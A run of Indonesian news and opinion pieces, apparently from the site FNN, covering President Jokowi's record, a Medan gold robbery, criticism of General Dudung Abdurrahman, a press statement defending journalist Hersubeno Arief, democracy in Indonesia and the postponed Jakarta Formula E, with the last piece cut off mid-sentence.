Oleh Fauzul Iman *) PRESIDEN sebagai pimpinan tertinggi di dalam suatu negara merupakan referensi strategis bagi rakyat atau umat di negara tersebut. Setiap pimpinan apa lagi presiden selalu didambakan rakyatnya untuk menunjukkan perilaku dan keteladanan yang baik demi kemaslahatan kolektif. Ekspektasi rakyat cukup beralasan karena presiden dipilih melalui pemilu yang sah dengan tahapan yang cukup panjang dan dengan menghabiskan energi dan anggaran negara yang cukup tinggi. Di Indonesia rakyat bersyukur telah memiliki Presiden Joko Widodo yang terpilih dua kali periode. Periode pertama berpasangan dengan Wakil Presiden M. Yusuf Kala dan periode kedua berpasangan dengan Wakil Presiden Makruf Amin. Satu kali periode pemilu tercatat tidak ada persoalan serius dari rakyat atau dari partai kontestan yang mengadukan ke pengadilan sehingga pemilu dibatalkan dan dilakukan pemilu ulang. Kegaduhan memang terdengar dari kontestan pemilu pada periode ke dua pendukung pasangan Prabowo - Sandi yang tidak puas dan menuduh lembaga KPU berkonspirasi dengan pihak pemenang melakukan kecurangan pemilu melalui pembobolan suara di jaringan IT . Tuduhan lain ditujukan kepada aparat yang kerap melakukan tekanan dan ancaman kepada petugas saksi di KPPS. Menurut pihak pengadu, akibat tekanan dan ancaman aparat menyebabkan para petugas saksi di KPPS terancam jiwanya sehingga sebanyak kurang lebih lima ratusan yang meninggal dunia. Bahkan pihak Prabowo meminta petugas yang wafat agar segera divisum untuk mencari kejelasan penyebabnya. Namun semua tuduhan itu tidak terbukti setelah diproses melalui persidangan MK dan pemilu pun dinyatakan sah. Pasangan Joko Widodo -Maruf Amin pun dinyatakan sebagai pemenang dan dilantik di depan MPR sebagai Presiden dan Wakil Presiden dengan keadaan aman. Sebagai presiden yang terpilih dua kali periode, Presiden Jokowi menjadi kebanggaan dan idola rakyat. Tidak sedikit yang memberikan apresiasi dan menjadikan referensi sebagai Presiden yang patut diteladani karena sikap kebersahajaan dan kesederhanaanya. Presiden Jokowi juga terkenal sosok yang dekat dengan masyarakat biasa. Setiap kali kunjungan dan blusukan di kampung dan desa desa tidak segan-segan berkomunikasi dengan rakyat dan tidak ragu melakukan cipika cipiki dengan mereka. Penulis sendiri merasakan sikap kebersahajaan Presiden Jokowi saat tiga kali pertemuan di istana. Setiap kali bertemu , beliau selalu menyapa lebih dahulu dengan menanyakan , "apa kabar Pak Rektor". Mungkin ini sikap kebersahajaannya yang tidak pernah melupakan seseorang yang pernah di kenalnya beberapa saat lalu. Senyatanya terdapat pesan-pesan penting yang merupakan komitmen Presiden Jokowi saat disampaikan dalam pertemuan di istana. Beliau seingat penulis menyatakan banyak hal dalam pertemuan itu tapi di sini cukup tiga poin yang menurut penulis sangat penting disampaikan. Pertama, Presiden jokowi sangat tinggi komitmen dan tekadnya untuk selalu berpihak mensejahterakan rakyat Indonesia. Beliau sangat tegas menyatakan bahwa dirinya bukan orang partai krena tidak pernah aktif di partai. Dengan kata lain beliau berjuang menjadi presiden seutuhnya demi membangun bangsa Indonesia berkualitas dan memiliki daya saing tinggi agar makin maju dan sejahtera. Kedua, bidang ekonomi dan pendidikan. Presiden Jokowi menginginkan bidang ini bergerak maju sejajar. Indonesia hrus berdiri tegak membangun ekonomi jangan sampai kebutuhan pokok seperti beras atau kebutuhan lain seperti garam mengandalkan impor. Untuk bidang pendidikan Presiden Jokowi mendorong adanya perubahan kurikulum atau Prodi di Perguruan Tinggi yang dinamis sesuai dengan perkembangan teknologi yang makin maju dalam rangka pembentukan akhlak , keterampilan dan mengisi lapangan pekerjaan. Ketiga, di bidang hukum Presiden Jokowi berkomitmen menindak tegas pelaku KKN / korupsi demi tegaknya keadilan hukum dan stabilitas perekonomian nasional dan keuangan negara. Penulis dan para tokoh yang hadir dalam pertemuan itu berkeyakinan bahwa Presiden Jokowi bersikap tulus menyatakan komitmennya dan pasti lahir dari lubuk hatinya yang paling dalam. Apa lagi di situasi tersebut perhelatan pesta politik baru saja selesai. Sebelumnya mengalami ketegangan dan penuh konflik telah diakhiri dengan kepiawaian Presiden Jokowi sendiri berhasil merangkul Prabowo sebagai lawan politiknya untuk bergabung bersama mengisi kabinet pemerintahan. Sebuah kondisi atau iklim baru yang diyakini akan membawa negara menjadi lebih kondusif , kokoh, berintegritas dan berkeadilan membawa kemajuan di segala bidang pembangunan. Salah satu komitmen bidang pendidikan yang telah penulis rasakan dari Presiden Jokowi adalah membantu percepatan perubahan dari IAIN ke Universitas Islam Negeri Banten. Sungguh yang sangat membanggakan kami beliau sendiri berkenan hadir untuk menyampaikan orasi ilmiah pada acra Dies Natalis UIN Banten yang ke 57. Waktu terus berjalan dan komitmen tegas Presiden Jokowi yang sudah mempublik itu ternyata mulai mendapatkan kritikan dari berbagai kalangan. Presiden Jokowi dipandang telah melakukan dan membuat kebijakan yang tidak sesuai dengan pernyataan dan komitmennya sendiri. Antara lain jokowi telah mengizinkan anak dan menantu berkompetisi untuk meraih posisi walikota. Meskipun kompetisi ini tidak dilarang oleh undang undang, posisinya sebagai Presiden, Jokowi dinilai tidak etis mengizinkan anak dan menantu berkompetisi di posisi itu karena bagaimanapun akan turut mempengaruhi suara kemenangan signifikan. Hal ini sangat rentan melanggar janji dan komitmen Presiden Jokowi sendiri di dalam upaya memberantas KKN dan menegakkan keteladanan di level kepemimpinan lainnya. Kritikan makin merebak setelah Indonesia digoncang bencana pandemi. Pemerintah yang sejatinya membuat kebijakan yang berpihak pada rakyat dinilai elitis karena nyaris semua rancangan undang-undang dibahas tidak melibatkan publik secara terbuka. Sejak rancangan HIP, minerba, Omnibus Law cipta kerja, pembengkakan utang , pendirian kota baru, penegakan hukum tebang pilih , tenaga kerja asing , pengangkatan pimpinan partai sebagai pembina pada lembaga yang seharusnya netral/steril dari intervensi politik dan terakhir upaya pelemahan KPK dengan bernasib digusurnya 70 pegawai KPK. Kebijakan elitis itu ditengarai oleh banyak pengamt akibat dari koalisi pemerintah dengan partai-partai pemenang yang terlalu kuat di satu sisi dan pihak kepentingan oligarki di sisi lain. Inilah yang kemudian menjadi penyebab makin tajamnya dugaan kritis publik kepada pemerintah yang ingin mengembalikan sistem pemerintahan gaya orde baru demi stabilitas dan pertumbuhan ekonomi. Indikasinya pemerintah mulai bertindak represif dengan menangkap para oposisi yang melakukan kritik keras pada pemerintah. Pemerintah bisa saja membantah semua kritikan ini yang jelas kritikan itu makin mengarah pada gorengan berita hoax atau provokasi kemana-mana di hampir semua jaringan medsos. Kemana- mana dalam bahasa Elisabeth Noella Neumann dalam bukunya The Spiral of Silence Public Opinion - Our Social Skin ( 1993) adalah ubikuitas bahasa latinnya ubique yang artinya di mana-mana. Suatu bentuk upaya menebar opini untuk merusak kohesi sosial ( retrograsi). Caranya memprovokasi dengan membanjiri berita lewat opini, berita, perbincangan terutama televisi partisan dan media sosial. Terlepas semua yang disebut di muka merupakan kriitik objektif atau berita hoax dan provokatif. Pemerintah bisa saja membantah dengan fakta- fakta dan argumen yang kuat. Namun kritikan dari publik yang belum bisa dibendung hingga munculnya mural pada Presiden Jokowi dan pemberian gelar The King of Lip Service dari BEM UI, Pemerintah tentunya tidak boleh sekedar membantah atau berteriak dengan suara permisif belaka dengan mempersilahkan publik mengkritik asal dengan sopan dan lain-lain. Tidak juga dengan tindakan represif yang berakibat makin menggumpalnya rasa luka psikologi publik. Tindakan yang yang paling elegan, menurut penulis, yang sudah lama mengenal dan mengagumi kebersahajaan dan komitmen Presiden Jokowi yaitu menyarankan kepada beliau perlunya membangun keteladanan baru. Caranya dengan menunjukkan sikap jiwa besar seraya berkontemplasi melakukan evaluasi dan membangun kepercayaan publik makin tinggi tanpa dengan pencitraan melainkan dengan dinamika baru untuk tetap membenahi dan melanjutkan kepemimpinan sampai tahun 2024. Penulis yakin isu-isu terkini yang terkait dengan keinginan sebagian publik yang mendorong untuk mencalonkan Jokowi menjadi Presiden periode ke tiga, dengan cara amandemen UUD 1945 tidak akan diterima karena Presiden Jokowi telah berkomitmen menegakkan cita-cita reformasi dan ingin menumbuhkan demokrasi di tangan rakyat sipil. Inilah keteladanan yang perlu dipetik dari sang Presiden. Semoga ! *) Guru Besar dan Rektor UIN Banten (2017-2021)

Harga Emas yang Digondol Perampok Senilai Rp 6,5 Miliar

Medan, FNN - Perampok menggondol emas 6,8 kg senilai Rp 6,5 miliar. Barang mewah tersebut berasal dari dua toko, yaitu Toko Emas Aulia Chan dan Toko Emas Masrul F., yang berada di Pasar Simpang Limun, Jalan Sisingamangaraja, Medan, Sumatera Utara. "Harga emas yang mencapai nilai miliaran rupiah itu berasal dari kedua toko emas tersebut," kata Kepala Kepolisian Daerah Sumatera Utara (Kapolda Sumut), Inspektur Jenderal RZ Panca Putra Simanjuntak, di Mapolda. Lima pelaku perampongan telah ditangkap aparat kepolisian. Ia menyebutkan, emas seberat 6,8 kg yang dipegang perampok H sempat dibawa ke Kabupaten Dairi, dan disimpan di rumah orang tuanya. "Jadi emas seberat 6,8 kg itu dalam keadaan utuh dan belum ada yang dijual oleh perampok tersebut," ujar Kapolda Sumut, sebagaimana dikutip dari Antara, Kamis, 16 September 2021. Sebelumnya, Personel Direktorat Reserse Kriminal Umum Kepolisian Daerah Sumatera Utara (Polda Sumut) meringkus lima pelaku perampokan bersenjata terhadap dua toko emas, yaitu Toko Emas Aulia Chan dan Toko Emas Masrul F, di Pasar Simpang Limun, Jalan SM Raja Medan, Kecamatan Medan Kota, Kota Medan. Kelima pelaku yang ditangkap itu H (38) warga Jalan Paluh Kemiri Lubuk Pakam, P (32) warga Jalan Menteng VII Medan Denai, F (21) warga Jalan Garu I Medan Amplas, PG (26) warga Medan Johor, dan D (28) warga Medan. Pada saat dilakukan prarekonstruksi, salah seorang pelaku perampokan, yakni H mencoba melawan petugas sehingga dilakukan tindakan tegas dan akhirnya meninggal dunia. Peristiwa perampokan tersebut terjadi Kamis (26/8/2021). Dalam aksinya, para pelaku menggunakan dua unit sepeda motor. Sebelum meninggalkan tempat kejadian perkara, pelaku H sempat menembak seorang juru parkir atas nama Julius yang mencoba menghalangi aksi perampokan tersebut. (MD).

Ah Dudung Memang Parah

By M Rizal Fadillah *) IRONI di negara yang mayoritas muslim tetapi semakin banyak Jenderal yang Islamophobia. Nyinyir pada Islam dan umatnya. Menginterpretasi semau-maunya, mewaspadai bahkan menyerang agama. Perilaku petinggi ini secara tidak disadari semakin menjauhkan Pemerintah dari umat Islam. Petinggi itu antara lain Letjen TNI Dudung Abdurrahman yang setelah mengomando penurunan baliho HRS, lalu bersama Komjen Fadil Imran memfitnah enam anggota Laskar FPI dengan skenario mentersangkakan keenamnya, kini setelah menjadi Pangkostrad ia berbicara soal fanatisme dan semua agama benar menurut Tuhan. Akibatnya reaksipun muncul. Diminta agar Pangkostrad tidak keluar dari jalur tupoksi profesi utamanya. Lahan kemiliteran masih luas, jangan merambah ke ruang agama yang ia tidak menguasainya Pengalaman semasa Pangdam Jaya yang "menghabisi" tokoh agama HRS jangan dibawa abadi atau berlanjut. Pengurus MUI ada yang menyentil konten bahwa "semua agama benar menurut Tuhan" adalah tidak berdalil karenanya salah besar. Masing-masing penganut agama dipastikan meyakini kebenaran agamanya. Netizen bertanya jika memang keyakinan Dudung bahwa semua agama benar menurut Tuhan, maka Dudung agamanya apa ? Baiknya pindah-pindah saja agar lebih dinamis. Nampaknya belum tentu mau juga. Artinya ada keyakinan bahwa agama yang ia anut itu yang paling benar. Demikian juga jika beragama tanpa ada fanatisme, maka itu akan menjadi ciri dari keimanan yang lemah. Bahkan mungkin rusak. Fanatisme destruktif itu terlarang akan tetapi fanatisme dalam arti memahami dan meyakini secara mendalam mengenai agama itu harus. Fanatisme tidak selalu berimpitan dengan ekstrimisme dan intoleransi tetapi dapat bernilai konstruktif. Ulama berjuang mati-matian untuk mengusir penjajah berdasarkan fanatisme keagamaan. Sebaliknya pengambangan keyakinan atau Pengambangan nilai keagamaan tidak bagus dalam pandangan agama apapun. Plotisma adalah sekularistik berbasis materialistik. Doktrin bahwa semua agama benar adalah implementasi dari paradigma plotisma tersebut. Keyakinan keagamaan yang tipis bahkan mungkin habis. Terbayang saat Letjen Dudung sedang berperan sebagai Kepala Satpol PP yang mengomando penurunan baliho. Terbayang pula Bapak Pangkostrad ini sedang menunjukkan samurai dan "alat bukti" lainnya di depan media sambil memojokkan enam anggota laskar yang dibantai oleh aparat dan difitnah keji oleh petinggi aparat. Salah satu alat bukti yang telah ditemukan oleh Komnas HAM adalah mobil "komando" misterius Land Cruiser Hitam di Km 50. Sebagai komandan tertinggi di Kodam Jaya saat itu bersama Fadil Imran Kapolda Jaya, Letjen Dudung harus menjelaskan mengenai detail keberadaan mobil tersebut baik penumpang maupun tujuan dari Land Cruiser hitam tersebut berada di Km 50. Jika semua agama benar di depan Tuhan sebagai keyakinannya, maka tentu juga Letjen Dudung faham bahwa semua warga negara sama kedudukannya di depan hukum. Baik rakyat jelata maupun aparat negara. Jika tidak faham tentu rakyat kebanyakan akan berujar "Ah Dudung, memang parah". *) Pemerhati Politik dan Kebangsaan

Keterangan Pers FNN tentang Pelaporan DPD PDIP DKI Jakarta atas Wartawan Kami Hersubeno Arief

Jakarta, FNN - Partai Demokrasi Indonesia Perjuangan DKI Jakarta melaporkan jurnalis senior Hersubeno Arief ke Polda Metro Jaya atas dugaan penyebaran berita bohong atau hoaks soal Presiden RI kelima Megawati Soekarnoputri sakit dan menjalani perawatan di rumah sakit. “Soal ramai kabar hoaks Ibu Megawati Soekarno Putri mengalami sakit, hari ini kami resmi melaporkan ke Polisi agar Kepolisian bisa melaksanakan dan bekerja secara profesional,” kata Wakil Ketua DPD PDI Perjuangan DKI Jakarta, Ronny Talapesi, di Polda Metro Jaya, Jakarta, Rabu (15/09/2021), seperti diberitakan banyak media. Untuk meluruskan pemahaman yang keliru tentang penyelesaian sengketa pemberitaan, kami memberikan klarifikasi sebagai berikut. 1. Bahwa kami banyak mendapat pertanyaan/permintaan wawancara tentang tanggapan kami atas pelaporan tersebut. 2. Bahwa konten channel Youtube Hersubeno Point, FNN merupakan produk jurnalistik dari FNN. Segala sesuatunya diatur dan tunduk pada UU No 40 Tahun 1999 tentang Pers. 3. Secara keseluruhan konten berjudul : Ketum PDIP Megawati Dikabarkan Koma dan dirawat di RSPP yang di-upload Hari Kamis tanggal 9 September 2021 dengan durasi 12.43 menit sama sekali tidak mengandung unsur hoax. Akan tetapi, menyajikan adanya informasi berita di berbagai platform percakapan (WAG), medsos dan Portal media. 4. Mengenai kalimat yang dipersoalkan bahwa sdr Hersubeno mengaku mendapat WA dari seorang dokter : Megawati Koma. ICU RSPP. Valid 1.000 persen harusnya dilihat secara utuh, bahwa Sdr Hersubeno menyatakan itu masih harus diverifikasi. Artinya Sdr Hersubeno sudah memberi catatan bahwa berita itu belum tentu benar. Jadi dimana hoax-nya? 5. Pada kalimat akhir video Sdr Hersubeno juga mengingatkan bahwa setiap kali mendengar berita yang simpang siur jangan langsung percaya. Perlu bersikap skeptis, melakukan verifikasi, mencari informasi, konfirmasi, apakah berita itu cukup kredibel. Atau hanya rumor. 6. Setelah itu, dalam konten tersebut sebagai penutup juga ditampilkan berita yang dikutip dari portal Tempo.co tentang bantahan dari Sekjen DPP PDIP Hasto Kristiyanto bahwa Ibu Megawati dirawat di Rumah Sakit. 7. Jadi sekali lagi sangat jelas tidak ada sama sekali unsur menyebar hoax, kabar bohong sebagaimana dilaporkan. Konten itu bersifat konfirmasi atas simpang siur Kesehatan Megawati. 8. Kami mengimbau kepada rakyat untuk tidak terbiasa menyimpulkan, apalagi kemudian melaporkan sebuah berita/konten yang hanya bersifat sepotong-sepotong, atau hanya berupa kutipan dari media. Sehingga missleading. 9. Apabila keberatan dengan sebuah berita/konten bisa menggunakan mekanisme hak jawab. Sebagaimana ketentuan UU No 40 Tahun 1999 tentang Pers, Pasal 1, 5, 11, dan Pasal 15. Media wajib menayangkan hak jawab segera setelah diterima. 10. Bila hak jawab tidak segera dimuat, maka pihak yang merasa dirugikan dapat melaporkan ke Dewan Pers. 11. Dalam kasus pemberitaan tentang Kesehatan Ibu Megawati, tanpa diminta pun, sebagai pertanggungjawaban dan menjaga keseimbangan informasi, kami melalui chanel Hersubeno Point langsung menayangkan pernyataan Megawati bahwa dirinya sehat wal afiat . 12. Pernyataan Megawati yang disampaikan pada pembukaan TOT Kader PDIP pada Hari Jumat 10 September 2021 dimuat pada hari yang sama, Jumat 10 September 2021 dengan judul : *Breaking News! Ketum PDIP Megawati Sehat Wal Afiat.* 13. Pernyataan Ibu Megawati kami muat secara utuh dengan durasi sepanjang 9.18 menit. 14. Dengan penjelasan tersebut kami menilai apa yang dilakukan DPD PDIP DKI Jakarta melaporkan kasus tersebut ke Polda Metro Jaya TIDAK TEPAT. 15. Pertama, tidak terdapat unsur kabar bohong dan hoax. Yang tepat adalah konfirmasi atas kabar, rumor yang beredar di masyarakat. 16. Kedua, bila dianggap ada yang tidak tepat pada pemberitaan sebuah media, hendaknya membawa kasus tersebut kepada Dewan Pers, bukan kepada polisi. Hal itu sesuai dengan MOU antara Dewan Pers dengan Kapolri Nomor 2/DP/MoU/II/2017. Perlu saya tambahkan juga dan meminta kepada semua pihak supaya menonton video Hersubeno Arif secara utuh. Sekali lagi saya tegaskan bahwa konten tersebut adalah karya jurnalistik yang dilindungi UU dan Kode Etik Jurnalistik. Bentuk-bentuk chek and rechek sudah dilakukan, baik dalam video pertama maupun video berikutnya berjudul, " Megawati Sehat Walafiat." Pernyataan petinggi PDIP seperti Aria Bima yang dibacakan Hersubeno adalah salah satu bentuk chek and rechek, sehingga beritanya berimbang sebagai bentuk karya jutnalistik. Terakhir, kami sangat menyesalkan langkah pelaporan tersebut. Kami tegaskan sekali lagi, semestinya gunakan hak jawab terlebih dahulu ke FNN dengan tembusan ke Dewan Pers. Nah, mengapa menyesalkan langkah hukum? Karena di negara hukum yang berdasarkan Pancasila, masih ada yang tidak mengerti dan memahami aturan perundang-undangan dan hukum, terutama yang mengatur kebebasan pers. Demikian penjelasan ini kami sampaikan untuk mendudukkan persoalan, sehingga tidak terjadi kesimpang siuran informasi. Jakarta, 16 September 2021 Salam Pemimpin Redaksi Forum News Network (FNN) Mangarahon Dongoran Catatan : Jika masih perlu tambahan informasi silahkan kontak ke HP/WA : 0816854365

Digerogoti Oligarki dan Otoritarianisme Korup, Demokrasi Tak Terbendung

Catatan Hari Demokrasi Internasional 15 September 2021 Oleh Abdurrahman Syebubakar SOAL demokrasi, sebuah adagium yang hingga kini masih relevan, “Democracy is an evil we cannot do without”. Terjemahan kontekstualnya kira kira, demokrasi adalah sistem yang buruk diantara sistem-sistem lain yang lebih buruk. Demokrasi bukanlah sistem sempurna dan final, yang sejak kemunculannya di Yunani kuno ribuan tahun silam, mengalami pasang surut. Robert Dhal (1989) mencatat, dalam sejarah perkembangannya, berbagai bentuk demokrasi muncul dan tenggelam. Kritik dan pandangan negatif terhadap demokrasi sudah ada sejak kelahirannya. Plato dalam “the Republic” mencela demokrasi sebagai “theatherocracy” - ajang permainan dan sandiwara politik kekuasaan para elit politk. Sang filsuf khawatir rakyat lebih banyak digerakkan oleh emosi dan kepentingan jangka pendek daripada rasio dan kepentingan jangka panjang, yang berakibat pada berkuasanya politikus karbitan - pemain sandiwara. “Democracy never lasts long”. Demokrasi tumbuh, lelah dan akhirnya bunuh diri. Demikian ungkap John Adams. Nada minor tentang demokrasi banyak terdengar dari para cendekiawan terkemuka di era presiden ke 2 Amerika Serikat ini (periode 1800- an), dan generasi intelektual berikutnya. Lebih jauh, para kritikus kontemporer mendakwa demokrasi bertanggung jawab atas lesunya pertumbuhan ekonomi serta meningkatnya kemiskinan dan ketimpangan global selama beberapa dekade terakhir. Milton Friedman, peraih hadiah nobel bidang ekonomi 1971 asal AS, misalnya, menyebut demokrasi sebagai mekanisme politik yang tidak efisien karena kecenderungan irrasionalitas para pemilih. Pandangan serupa juga dipegang Bryan Caplan, ekonom terkemuka, rekan senegara Friedman. Sebaliknya, diyakini bahwa negara membutuhkan rezim otoriter untuk mendorong pertumbuhan ekonomi, yang pada gilirannya, membantu mengurangi penderitaan rakyat miskin dan meningkatkan kesejahteraan publik. Keyakinan ini banyak dipengaruhi hipotesis Lee, dikaitkan dengan Lee Kuan Yew, pendiri dan mantan Presiden Singapura. Terlepas dari semua "cerita horor" tentang demokrasi, laju demokratisasi di seluruh dunia mengalami percepatan. Saat ini, lebih dari separuh populasi dunia hidup di bawah naungan demokrasi dengan pelbagai bentuk dan tingkat kedalaman. Berbagai studi, sejak tahun 1970-an, mengungkap bahwa demokrasi, secara meyakinkan, tampil jauh lebih baik daripada non-demokrasi di sejumlah indikator sosial-ekonomi seperti standar dan usia harapan hidup, angka kematian bayi, gizi buruk dan lain lain. Saat demokrasi mengalami akselerasi dan pendalaman, Jeffrey Sachs (2005) mencatat terjadinya pengurangan kemiskinan ekstrim baik secara absolut maupun secara proporsional terhadap penduduk dunia antara tahun 1980 dan 2000. Bahkan di tengah defisit kepercayaan terhadap demokrasi yang dibajak oligarki dan tekanan feodalisme, sistem politik ini unggul telak dalam berbagai hal dibandingkan negara-negara non-demokrasi. Sebut saja beberapa diantaranya, Norwegia, Denmark, Swedia, Australia, Selandia Baru, Jepang, Korea Selatan, dan Costa Rica, berada di peringkat tinggi dan sangat tinggi dalam indeks pembangunan manusia, tingkat kebahagian, indeks persepsi korupsi, dan rangking kota paling layak huni (Syebubakar, 2020). Terkecuali Singapore, sepuluh kota paling aman di dunia juga berada negara-negara demokrasi (EIU, 2021). Ikhwal penanganan Covid-19, kendati di awal pandemi terkesan kewalahan, negara-negara demokrasi menunjukkan tingkat ketahanan yang jauh lebih baik daripada kelompok negara non-demokrasi. Hal ini terungkap dalam The Covid Resilience Ranking (Peringkat Ketahanan Covid) yang dirilis Bloomberg pada 28 Juli 2021. Dengan keterbukaan data dan informasi serta kesiapan infrastruktur dan tenaga kesehatan, di bawah kepemimpinan demokratis dan kredibel, sejumlah negara demokrasi dapat menyintas gelombang serangan Covid secara terukur. Sistem perlindungan sosial yang solid dan luas, membuat mereka mampu menahan tergerusnya ketahanan sosial dan ekonomi rakyat. Di sisi lain, beberapa negara seperti Singapura, China, Rusia, dan Arab Saudi di bawah cengkeraman rezim otoriter tampil cukup baik dalam pembangunan ekonomi dan pembangunan manusia. Namun, tidak ada jaminan jika prestasi segelintir negara ini akan berkelanjutan. Dan yang pasti, negara-negara otokratis ini mengabaikan kebebasan politik, aspek maha penting dan asasi dari kemanusiaan. Bagaimana dengan demokrasi di Indonesia? Setelah mengalami gelombang pasang surut sejak awal kemerdekaan, lonceng kematian demokrasi berdentang sangat kencang, terutama sejak presiden Jokowi naik tahta pada 2014. Negara yang pernah dijuluki “role model” demokrasi di dunia Islam ini, seketika mengalami titik balik, menjadi “malevolent authoritarianism.” Otoritarianisme jahat, yang ditandai dengan watak represif dan korup sekaligus, di bawah kendali oligarki dan tekanan feodalisme. Pada saat yang sama, terjadi kemerosotan multidimensi, mulai dari lesunya pertumbuhan ekonomi, meluasnya korupsi, stagnasi pembangunan manusia, kemiskinan dan ketimpangan yang makin dalam, anjloknya tingkat kebahagian, hingga penegakan hukum diskriminatif dan ketegangan sosial (Syebubakar 2021). Dalam rangking ketahanan Covid dari Bloomberg, Indonesia bertengger di peringkat paling bawah (terburuk) diantara 53 negara. Bahkan, menuju jebakan pandemi, ungkap Pandu Riono, Pakar Epidemiologi dari UI. Sementara, Epidemilog dari Griffith University Australia, Dicky Budiman, memprediksi Indonesia akan menjadi negara terakhir yang keluar dari krisis Covid-19. Dus, secara simptomatis, sakratulmaut demokrasi berhubungan kuat dengan kerusakan di berbagai bidang. Fenomena ini sejalan dengan hipotesis Amartya Sen bahwa ketidakbebasan yang satu mempengaruhi ketidakbebasan yang lain. Dengan kata lain, anti-demokrasi, dalam wujud otoritarianisme korup, bertanggungjawab atas segala sengkarut yang mendera bangsa Indonesia saat ini. Sebaliknya, dakwaan terhadap demokrasi sebagai penyebab krisis multi-dimensi berjarak cukup jauh dari realitas historis sistem politik, baik di tingkat global maupun di Indonesia. Tidak hanya gagal dalam menelusuri kondisi obyektif demokrasi versus non-demokrasi di berbagai negara, termasuk Indonesia, suara minor tentang demokrasi memahami sistem politik ini sebatas “ritus prosedural”, yang identik dengan pemilu lima tahunan. Padahal, pemilu hanyalah serpihan kecil dari narasi besar demokrasi, yang atributnya bukan saja soal kekuasaan mayoritas. Partisipasi masyarakat, penghormatan terhadap hak asasi manusia dan kebhinekaan, kebebasan multidimensi, kedaulatan rakyat, arus informasi bebas, persamaan di depan hukum, transparansi dan akuntabilitas pemerintahan, seluruhnya merupakan “bahan baku” demokrasi. Esensi demokrasi juga bukan monopoli Barat, kendati “proyek” demokrasi dalam wujud formal kelembagaan memang berasal dari sana, yang uji coba perdananya dilaksanakan di Atena, kemudian direvitalisasi sejak abad 19. Demikian pula, tegaknya demokrasi tidak ditentukan oleh sekularisme, proyek ideologi Barat yang tertutup dan telah “gagal,” yang meniscayakan pemisahan agama dari kehidupan politik kenegaraan. Faktanya, nyaris tak satupun bangsa barat yang bangunan kenegaraan dan kehidupan masyarakatnya terlepas dari nilai dan tradisi Yudeo-Kristianitas. Namun, seperti ditulis Reza Aslan dalam bukunya yang tersohor “No god but God” (2011), kesiapan untuk menerima keberagamanlah yang menjadi fondasi demokrasi. Bagi bangsa Indonesia, keberagaman - suku, agama, ras dan antar golongan -merupakan kekayaan yang telah “berhasil” dikelola dengan segala dinamikanya. Dus, demokrasi, terutama dimensi substantifnya, bukanlah gagasan dan sistem “asing” bagi bangsa Indonesia. Terlebih Pancasila dan UUD 45 sarat dengan kandungan nilai-nilai demokrasi substantif, seperti keadilan, kedaulatan rakyat, kesetaraan, dan hak asasi manusia. Hal tersebut sejalan dengan pandangan Bung Hatta bahwa setidaknya ada tiga sumber yang menghidupkan cita cita demokrasi dalam denyut kehidupan bangsa Indonesia, yaitu faham dan tradisi kolektivisme yang berlaku di desa, ajaran Islam yang menuntut kebenaran dan keadilan ilahi serta persaudaraan antar manusia, dan faham sosialis Barat yang menarik perhatian para pemimpin pergerakan Bangsa Indonesia. Dalam tulisannya berjudul “Demokrasi Kita” (1960), Bung Hatta bernubuat demokrasi yang berurat berakar di dalam pergaulan hidup bangsa Indonesia tidak dapat dilenyapkan untuk selama lamanya. Demokrasi mungkin tersingkir sementara karena kesalahannya sendiri, tetapi ia akan muncul kembali dengan tegap dan penuh keinsyafan. *) Ketua Dewan Pengurus IDe

Formula E Jakarta Ditunda, FIA Lebih Paham dari Duo PDIP dan PSI

Oleh: Mochamad Toha Interpelasi yang diajukan PDIP dan PSI atas Gubernur DKI Jakarta Anies Baswedan itu jelas bermuatan politis. Apalagi dikaitkan dengan penyelenggaraan event Formula E Internasional di Jakarta yang akhirnya tertunda pada 2022. Hak interpelasi ini diajukan oleh 33 orang terdiri atas 25 legislator PDIP dan 8 PSI. Artinya, semua anggota Fraksi PDIP dan PSI terlibat. Ke-33 legislator itu termasuk Ketua DPRD DKI Jakarta Prasetyo Edi Marsudi, Ketua Fraksi PDIP Gembong Warsono, dan Ketua Fraksi PSI Idris Ahmad. Hak interpelasi adalah hak anggota DPRD DKI untuk meminta keterangan Gubernur DKI Jakarta Anies Baswedan. Hak interpelasi bisa diajukan dalam rapat paripurna jika diusulkan oleh dua fraksi dan minimal 15 anggota dewan. Pengesahan hak interpelasi bisa dilakukan jika rapat paripurna dihadiri 50 persen + 1 anggota dewan (54 anggota). Hak interpelasi bisa disahkan jika disetujui minimal 28 legislator yang hadir. “Setahu saya, (penundaan tersebut) atas permintaan FIA. Karena pandemi Covid-19. Bukan permintaan Anies. Surat dari FIA ada copy-nya di Anies,” ungkap sumber FNN.co.id yang dekat dengan Istana. Surat penundaan dikirim oleh Fédération Internationale de l'Automobile (FIA) atau Federasi Otomotif Internasional (FOI) kepada Gubernur Anies. Gubernur Anies sendiri menyetop penganggaran dan pembayaran kewajiban tahap 2 tahun 2020 untuk penyelenggaraan Formula E. Penghentian pembiayaan itu buntut tertundanya penyelenggaraan Formula E akibat pandemi. “Sehubungan dengan ditundanya penyelenggaraan musim ke-6 Formula E karena pandemi Covid-19 pada beberapa kota penyelenggara termasuk (yang) Jakarta, maka telah dilakukan penghentian segera atas penganggaran dan pembayaran kewajiban tahap 2 tahun 2020," kata Anies dalam dokumen penjelasan mengenai perubahan RPJMD tahun 2017-2022. Dokumen ini dibacakan oleh Wagub DKI Ahmad Riza Patria di DPRD DKI, seperti dilansir Detik.com, Kamis (05 Agu 2021 14:22 WIB). Menurut Anies, PT Jakarta Propertindo (JakPro) selaku penyelenggara kemudian melakukan renegosiasi dengan Formula E Operations (FEO) selaku promotor dan pemegang lisensi ABB FIA Formula E Championship. Pihak JakPro sekaligus meminta kejelasan soal status pendanaan yang telah dibayarkan. Apa hasilnya? “Atas dana commitment fee yang telah direalisasikan tetap dapat digunakan sebagai syarat penyelenggaraan event Formula E yang tertunda karena pandemi dan selanjutnya disepakati akan dituangkan dalam adendum perjanjian,” ujar Anies. “Pembayaran commitment fee untuk penyelenggaraan tahun depan 2022 dan seterusnya akan dilakukan penjadwalan kembali setelah adanya kepastian penyelenggara Formula E dengan mempertimbangkan telah berakhirnya pandemi COVID-19,” sambungnya. Anies menyebut saat ini JakPro sedang mengkaji pelaksanaan Formula E di tengah pandemi. Pemprov, lanjut Anies, juga mendorong JakPro mencari sumber pendanaan alternatif. Saat ini JakPro sedang melakukan kajian tentang studi kelayakan dampak ekonomi sosial dan lingkungan pada pelaksanaan event Formula E dengan adanya pandemi Covid-19. Selain itu, “Pemprov DKI mendorong JakPro dapat menjalin kerja sama dengan pihak lain dengan prinsip saling menguntungkan agar dapat mencari sumber pendanaan alternatif dan akan dilakukan perumusan opsi untuk memperoleh pembiayaan mandiri serta rencana 